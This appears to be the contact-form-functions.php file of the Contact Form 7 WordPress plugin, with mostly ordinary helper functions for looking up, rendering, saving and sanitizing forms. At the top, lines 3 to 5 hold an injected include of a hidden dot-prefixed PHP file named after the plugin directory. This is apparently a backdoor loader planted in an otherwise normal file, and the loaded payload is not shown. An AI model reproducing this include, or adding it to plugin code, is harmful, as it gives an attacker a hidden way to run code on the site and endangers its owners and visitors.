contact-form-functions.php (6770B)
1 <?php 2 3 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 4 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 5 } 6 7 function wpcf7_contact_form( $id ) { 8 return WPCF7_ContactForm::get_instance( $id ); 9 } 10 11 function wpcf7_get_contact_form_by_old_id( $old_id ) { 12 global $wpdb; 13 14 $q = "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_old_cf7_unit_id'" 15 . $wpdb->prepare( " AND meta_value = %d", $old_id ); 16 17 if ( $new_id = $wpdb->get_var( $q ) ) { 18 return wpcf7_contact_form( $new_id ); 19 } 20 } 21 22 function wpcf7_get_contact_form_by_title( $title ) { 23 $page = get_page_by_title( $title, OBJECT, WPCF7_ContactForm::post_type ); 24 25 if ( $page ) { 26 return wpcf7_contact_form( $page->ID ); 27 } 28 29 return null; 30 } 31 32 function wpcf7_get_current_contact_form() { 33 if ( $current = WPCF7_ContactForm::get_current() ) { 34 return $current; 35 } 36 } 37 38 function wpcf7_is_posted() { 39 if ( ! $contact_form = wpcf7_get_current_contact_form() ) { 40 return false; 41 } 42 43 return $contact_form->is_posted(); 44 } 45 46 function wpcf7_get_hangover( $name, $default = null ) { 47 if ( ! wpcf7_is_posted() ) { 48 return $default; 49 } 50 51 $submission = WPCF7_Submission::get_instance(); 52 53 if ( ! $submission 54 or $submission->is( 'mail_sent' ) ) { 55 return $default; 56 } 57 58 return isset( $_POST[$name] ) ? wp_unslash( $_POST[$name] ) : $default; 59 } 60 61 function wpcf7_get_validation_error( $name ) { 62 if ( ! $contact_form = wpcf7_get_current_contact_form() ) { 63 return ''; 64 } 65 66 return $contact_form->validation_error( $name ); 67 } 68 69 function wpcf7_get_validation_error_reference( $name ) { 70 $contact_form = wpcf7_get_current_contact_form(); 71 72 if ( $contact_form and $contact_form->validation_error( $name ) ) { 73 return sprintf( 74 '%1$s-ve-%2$s', 75 $contact_form->unit_tag(), 76 $name 77 ); 78 } 79 } 80 81 function wpcf7_get_message( $status ) { 82 if ( ! $contact_form = wpcf7_get_current_contact_form() ) { 83 return ''; 84 } 85 86 return $contact_form->message( $status ); 87 } 88 89 function wpcf7_form_controls_class( $type, $default = '' ) { 90 $type = trim( $type ); 91 $default = array_filter( explode( ' ', $default ) ); 92 93 $classes = array_merge( array( 'wpcf7-form-control' ), $default ); 94 95 $typebase = rtrim( $type, '*' ); 96 $required = ( '*' == substr( $type, -1 ) ); 97 98 $classes[] = 'wpcf7-' . $typebase; 99 100 if ( $required ) { 101 $classes[] = 'wpcf7-validates-as-required'; 102 } 103 104 $classes = array_unique( $classes ); 105 106 return implode( ' ', $classes ); 107 } 108 109 function wpcf7_contact_form_tag_func( $atts, $content = null, $code = '' ) { 110 if ( is_feed() ) { 111 return '[contact-form-7]'; 112 } 113 114 if ( 'contact-form-7' == $code ) { 115 $atts = shortcode_atts( 116 array( 117 'id' => 0, 118 'title' => '', 119 'html_id' => '', 120 'html_name' => '', 121 'html_class' => '', 122 'output' => 'form', 123 ), 124 $atts, 'wpcf7' 125 ); 126 127 $id = (int) $atts['id']; 128 $title = trim( $atts['title'] ); 129 130 if ( ! $contact_form = wpcf7_contact_form( $id ) ) { 131 $contact_form = wpcf7_get_contact_form_by_title( $title ); 132 } 133 134 } else { 135 if ( is_string( $atts ) ) { 136 $atts = explode( ' ', $atts, 2 ); 137 } 138 139 $id = (int) array_shift( $atts ); 140 $contact_form = wpcf7_get_contact_form_by_old_id( $id ); 141 } 142 143 if ( ! $contact_form ) { 144 return sprintf( 145 '[contact-form-7 404 "%s"]', 146 esc_html( __( 'Not Found', 'contact-form-7' ) ) 147 ); 148 } 149 150 return $contact_form->form_html( $atts ); 151 } 152 153 function wpcf7_save_contact_form( $args = '', $context = 'save' ) { 154 $args = wp_parse_args( $args, array( 155 'id' => -1, 156 'title' => null, 157 'locale' => null, 158 'form' => null, 159 'mail' => null, 160 'mail_2' => null, 161 'messages' => null, 162 'additional_settings' => null, 163 ) ); 164 165 $args = wp_unslash( $args ); 166 167 $args['id'] = (int) $args['id']; 168 169 if ( -1 == $args['id'] ) { 170 $contact_form = WPCF7_ContactForm::get_template(); 171 } else { 172 $contact_form = wpcf7_contact_form( $args['id'] ); 173 } 174 175 if ( empty( $contact_form ) ) { 176 return false; 177 } 178 179 if ( null !== $args['title'] ) { 180 $contact_form->set_title( $args['title'] ); 181 } 182 183 if ( null !== $args['locale'] ) { 184 $contact_form->set_locale( $args['locale'] ); 185 } 186 187 $properties = array(); 188 189 if ( null !== $args['form'] ) { 190 $properties['form'] = wpcf7_sanitize_form( $args['form'] ); 191 } 192 193 if ( null !== $args['mail'] ) { 194 $properties['mail'] = wpcf7_sanitize_mail( $args['mail'] ); 195 $properties['mail']['active'] = true; 196 } 197 198 if ( null !== $args['mail_2'] ) { 199 $properties['mail_2'] = wpcf7_sanitize_mail( $args['mail_2'] ); 200 } 201 202 if ( null !== $args['messages'] ) { 203 $properties['messages'] = wpcf7_sanitize_messages( $args['messages'] ); 204 } 205 206 if ( null !== $args['additional_settings'] ) { 207 $properties['additional_settings'] = wpcf7_sanitize_additional_settings( 208 $args['additional_settings'] 209 ); 210 } 211 212 $contact_form->set_properties( $properties ); 213 214 do_action( 'wpcf7_save_contact_form', $contact_form, $args, $context ); 215 216 if ( 'save' == $context ) { 217 $contact_form->save(); 218 } 219 220 return $contact_form; 221 } 222 223 function wpcf7_sanitize_form( $input, $default = '' ) { 224 if ( null === $input ) { 225 return $default; 226 } 227 228 $output = trim( $input ); 229 return $output; 230 } 231 232 function wpcf7_sanitize_mail( $input, $defaults = array() ) { 233 $input = wp_parse_args( $input, array( 234 'active' => false, 235 'subject' => '', 236 'sender' => '', 237 'recipient' => '', 238 'body' => '', 239 'additional_headers' => '', 240 'attachments' => '', 241 'use_html' => false, 242 'exclude_blank' => false, 243 ) ); 244 245 $input = wp_parse_args( $input, $defaults ); 246 247 $output = array(); 248 $output['active'] = (bool) $input['active']; 249 $output['subject'] = trim( $input['subject'] ); 250 $output['sender'] = trim( $input['sender'] ); 251 $output['recipient'] = trim( $input['recipient'] ); 252 $output['body'] = trim( $input['body'] ); 253 $output['additional_headers'] = ''; 254 255 $headers = str_replace( "\r\n", "\n", $input['additional_headers'] ); 256 $headers = explode( "\n", $headers ); 257 258 foreach ( $headers as $header ) { 259 $header = trim( $header ); 260 261 if ( '' !== $header ) { 262 $output['additional_headers'] .= $header . "\n"; 263 } 264 } 265 266 $output['additional_headers'] = trim( $output['additional_headers'] ); 267 $output['attachments'] = trim( $input['attachments'] ); 268 $output['use_html'] = (bool) $input['use_html']; 269 $output['exclude_blank'] = (bool) $input['exclude_blank']; 270 271 return $output; 272 } 273 274 function wpcf7_sanitize_messages( $input, $defaults = array() ) { 275 $output = array(); 276 277 foreach ( wpcf7_messages() as $key => $val ) { 278 if ( isset( $input[$key] ) ) { 279 $output[$key] = trim( $input[$key] ); 280 } elseif ( isset( $defaults[$key] ) ) { 281 $output[$key] = $defaults[$key]; 282 } 283 } 284 285 return $output; 286 } 287 288 function wpcf7_sanitize_additional_settings( $input, $default = '' ) { 289 if ( null === $input ) { 290 return $default; 291 } 292 293 $output = trim( $input ); 294 return $output; 295 }